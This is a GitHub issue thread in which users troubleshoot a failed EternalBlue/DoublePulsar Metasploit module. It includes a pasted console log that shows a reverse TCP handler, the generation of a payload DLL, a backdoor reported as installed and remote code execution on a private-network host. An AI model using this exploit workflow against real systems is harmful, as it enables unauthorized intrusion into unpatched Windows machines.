Eternalblue-Doublepulsar-Metasploit icon indicating copy to clipboard operation
Eternalblue-Doublepulsar-Metasploit copied to clipboard

Failed to load module

Open Bs2828 opened this issue 7 years ago • 2 comments

  • Launching Eternalblue... [-] Error getting output back from Core; aborting...
  • Are you sure it's vulnerable?
  • Launching Doublepulsar...
  • Oops, something was wrong! [*] Exploit completed, but no session was created.

Bs2828 avatar May 30 '17 11:05 Bs2828

give me more details of your target.

UrielRicardo avatar Jun 16 '17 12:06 UrielRicardo

please help me out on this

msf6 exploit(windows/smb/eternalblue_doublepulsar) > run

[] Started reverse TCP handler on 192.168.43.95:4444 [] 192.168.43.92:445 - Generating Eternalblue XML data [] 192.168.43.92:445 - Generating Doublepulsar XML data [] 192.168.43.92:445 - Generating payload DLL for Doublepulsar [] 192.168.43.92:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll [] 192.168.43.92:445 - Launching Eternalblue... 0030:err:module:import_dll Loading library fwpkclnt.sys (which is needed by L"C:\windows\system32\drivers\idmwfp.sys") failed (error c000007b). 0030:err:module:import_dll Loading library NETIO.SYS (which is needed by L"C:\windows\system32\drivers\idmwfp.sys") failed (error c000007b). 0030:err:ntoskrnl:ZwLoadDriver failed to create driver L"\Registry\Machine\System\CurrentControlSet\Services\IDMWFP": c0000142 [+] 192.168.43.92:445 - Backdoor is already installed [] 192.168.43.92:445 - Launching Doublepulsar... 002f:err:module:import_dll Loading library fwpkclnt.sys (which is needed by L"C:\windows\system32\drivers\idmwfp.sys") failed (error c000007b). 002f:err:module:import_dll Loading library NETIO.SYS (which is needed by L"C:\windows\system32\drivers\idmwfp.sys") failed (error c000007b). 002f:err:ntoskrnl:ZwLoadDriver failed to create driver L"\Registry\Machine\System\CurrentControlSet\Services\IDMWFP": c0000142 [+] 192.168.43.92:445 - Remote code executed... 3... 2... 1... [] Exploit completed, but no session was created. msf6 exploit(windows/smb/eternalblue_doublepulsar) >

lilplucky avatar Aug 11 '21 19:08 lilplucky